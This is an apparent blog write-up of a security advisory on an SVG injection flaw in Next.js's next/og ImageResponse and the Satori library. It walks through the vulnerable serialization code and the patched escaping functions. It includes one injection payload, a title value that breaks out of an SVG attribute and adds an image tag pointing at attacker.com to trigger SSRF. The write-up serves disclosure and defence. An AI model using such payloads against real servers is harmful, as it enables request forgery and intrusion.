&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Next.js &lt;code&gt;next/og&lt;/code&gt;'s &lt;code&gt;ImageResponse&lt;/code&gt; (Node.js runtime); root cause lives in Vercel's Satori library&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Next.js 16.2.0 through 16.3.5 / Satori 0.0.27 through 0.33.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;Next.js 16.3.6 / Satori 0.33.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;9.5 (Critical, CVSS v4.0) — Satori's own advisory cites up to 9.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-116 (Improper Output Encoding/Escaping), with downstream potential for CWE-918 (SSRF)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosed by&lt;/td&gt;
&lt;td&gt;Vercel's official security advisory (GHSA-wx4j-mvgx-mqwp), published 2026-09-22&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Note&lt;/td&gt;
&lt;td&gt;Next.js 15 and the Edge runtime implementation are not affected&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Next.js's &lt;code&gt;next/og&lt;/code&gt; module generates Open Graph images — the preview cards you see when a link gets shared on social platforms — straight from JSX and CSS. Because it's routine to drop external input like a blog post title or a profile name directly into that image, this feature is almost always exposed as a public endpoint reachable with no login at all.&lt;/p&gt;

&lt;p&gt;The core of this CVE is that &lt;strong&gt;a value went unescaped in the middle of the image pipeline (JSX → SVG)&lt;/strong&gt;. &lt;code&gt;ImageResponse&lt;/code&gt; converts JSX into an SVG string internally through a library called Satori, and during that conversion, characters like &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, and &lt;code&gt;&amp;gt;&lt;/code&gt; inside attribute values or text were being dropped straight into the SVG string as-is. If an attacker supplies input containing those characters, what should have been "a piece of text" turns into "an entirely new SVG tag." That finished SVG then goes through &lt;code&gt;sharp&lt;/code&gt; to be rasterized into a PNG by native libraries — &lt;code&gt;libvips&lt;/code&gt;, &lt;code&gt;librsvg&lt;/code&gt;, &lt;code&gt;libxml2&lt;/code&gt; — and when an XML document whose structure the attacker fully controls reaches those native parsers, it can lead to &lt;strong&gt;remote code execution with the privileges of the server process.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — from JSX to PNG
&lt;/h2&gt;

&lt;p&gt;Here's the full path &lt;code&gt;ImageResponse&lt;/code&gt; takes to produce an image:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Application code hands JSX to &lt;code&gt;new ImageResponse(&amp;lt;div&amp;gt;...&amp;lt;/div&amp;gt;)&lt;/code&gt;. That JSX usually contains external input — a URL query parameter, for instance.&lt;/li&gt;
&lt;li&gt;Satori parses the JSX and CSS and assembles an SVG string.&lt;/li&gt;
&lt;li&gt;The assembled SVG string is passed to &lt;code&gt;sharp&lt;/code&gt; to be rasterized into a PNG.&lt;/li&gt;
&lt;li&gt;The finished PNG is returned as the OG image.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Example application code&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;title&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nextUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;title&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ImageResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;fontSize&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, &lt;code&gt;title&lt;/code&gt; is entirely attacker-controlled. The problem sits in step 2 — the exact moment Satori turns that value into an SVG string.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk5o297h6ns6e47j5lyi6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk5o297h6ns6e47j5lyi6.png" alt=" " width="800" height="1387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — Satori interpolates attribute values and text into a template literal, unescaped
&lt;/h3&gt;

&lt;p&gt;Before the fix, Satori's &lt;code&gt;preprocess.ts&lt;/code&gt; serialized each SVG element's attributes using a plain template literal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/handler/preprocess.ts (before the fix, vercel/satori)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;attrs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;restProps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(([&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_v&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;_v&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;string&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;_v&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;currentcolor&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;_v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;currentColor&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;` &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;ATTRIBUTE_MAPPING&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;_v&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"`&lt;/span&gt;   &lt;span class="c1"&gt;// _v inserted as-is&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Text nodes received the same treatment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/handler/preprocess.ts (before the fix)&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;node&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;object&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;// stringified, never escaped&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Whatever characters end up in &lt;code&gt;_v&lt;/code&gt; (an attribute value) or &lt;code&gt;node&lt;/code&gt; (text content), there's no step that turns &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, or &lt;code&gt;&amp;amp;&lt;/code&gt; — characters with special meaning in HTML/XML — into their entity equivalents. In other words, &lt;strong&gt;nothing stopped a value from being read as part of the markup instead of as data.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — a &lt;code&gt;"&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; in the value break the attribute boundary and spawn a new tag
&lt;/h3&gt;

&lt;p&gt;The code that renders a &lt;code&gt;&amp;lt;text&amp;gt;&lt;/code&gt; element puts a value like &lt;code&gt;title&lt;/code&gt; directly into an attribute. If an attacker sends:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;title = A"&amp;gt;&amp;lt;image href="http://attacker.com/payload.svg" width="500" height="500"/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the assembled SVG string, with no escaping in place, actually comes out as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;text&lt;/span&gt; &lt;span class="na"&gt;x=&lt;/span&gt;&lt;span class="s"&gt;"10"&lt;/span&gt; &lt;span class="na"&gt;title=&lt;/span&gt;&lt;span class="s"&gt;"A"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;image&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"http://attacker.com/payload.svg"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"500"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"500"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;"&amp;gt;...&lt;span class="nt"&gt;&amp;lt;/text&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attribute that was supposed to end at &lt;code&gt;title="A"&lt;/code&gt; cuts off right at &lt;code&gt;A"&lt;/code&gt;, and what follows — &lt;code&gt;&amp;gt;&amp;lt;image .../&amp;gt;&lt;/code&gt; — is no longer parsed as an attribute of &lt;code&gt;&amp;lt;text&amp;gt;&lt;/code&gt; at all. It becomes &lt;strong&gt;an entirely new, sibling-level SVG element.&lt;/strong&gt; Put an external URL in &lt;code&gt;&amp;lt;image&amp;gt;&lt;/code&gt;'s &lt;code&gt;href&lt;/code&gt; and you get SSRF; break into &lt;code&gt;&amp;lt;foreignObject&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; instead, and you open up a different parsing path. Which tag gets injected is entirely up to the attacker — Satori had no way to tell the difference.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — the finished SVG reaches the native parsers through sharp
&lt;/h3&gt;

&lt;p&gt;Once assembled, the SVG string is handed to &lt;code&gt;sharp&lt;/code&gt; to be converted into a PNG:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// next/og internals (conceptual)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;png&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sharp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;svgString&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;png&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toBuffer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sharp&lt;/code&gt; doesn't parse SVG itself — it delegates to &lt;code&gt;libvips&lt;/code&gt;, which in turn calls native libraries like &lt;code&gt;librsvg&lt;/code&gt; and &lt;code&gt;libxml2&lt;/code&gt; to interpret the SVG. At this point, what Satori handed off is no longer "a picture description containing a title" — it's &lt;strong&gt;an XML document whose structure the attacker designed.&lt;/strong&gt; Feeding that document to a native parser opens two kinds of damage:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSRF, via an injected &lt;code&gt;&amp;lt;image href="http://..."&amp;gt;&lt;/code&gt; that makes the server request an arbitrary internal or external resource&lt;/li&gt;
&lt;li&gt;RCE, if the crafted SVG structure triggers memory corruption while &lt;code&gt;librsvg&lt;/code&gt;/&lt;code&gt;libxml2&lt;/code&gt; parse it, executing arbitrary code with the privileges of the Next.js server process&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two conditions have to hold for the attack to work: &lt;code&gt;ImageResponse&lt;/code&gt; must run on the &lt;strong&gt;Node.js runtime&lt;/strong&gt; (the Edge runtime isn't affected), and attacker-controlled input must land in &lt;strong&gt;SVG content, an attribute, or a style.&lt;/strong&gt; OG image routes are public by design, and &lt;code&gt;sharp&lt;/code&gt; ships by default in most production deployments, including the official Docker image — so both conditions are satisfied in common setups without anyone doing anything unusual.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/k4ylFYdMMYs" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — escape values, validate names
&lt;/h2&gt;

&lt;p&gt;Satori 0.33.5 reworked the entire SVG serialization path to handle values and names through two different, purpose-built mechanisms.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/utils.ts (after the fix)&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;escapeXMLAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;number&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bigint&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;boolean&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;escapeHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;   &lt;span class="c1"&gt;// string values are always escaped&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;escapeXMLText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;escapeHTML&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;assertValidXMLName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;element&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;attribute&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;VALID_XML_NAME&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Invalid XML &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; name: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the serializer, &lt;code&gt;buildXMLString()&lt;/code&gt;, now routes every attribute through that escaping function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// src/utils.ts (after the fix)&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;buildXMLString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;attrs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Record&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;assertValidXMLName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;element&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;attrString&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_v&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nb"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;entries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attrs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;_v&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;undefined&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;assertValidXMLName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;attribute&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="nx"&gt;attrString&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;` &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;k&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;="&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nf"&gt;escapeXMLAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_v&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="s2"&gt;"`&lt;/span&gt;   &lt;span class="c1"&gt;// value: escaped&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



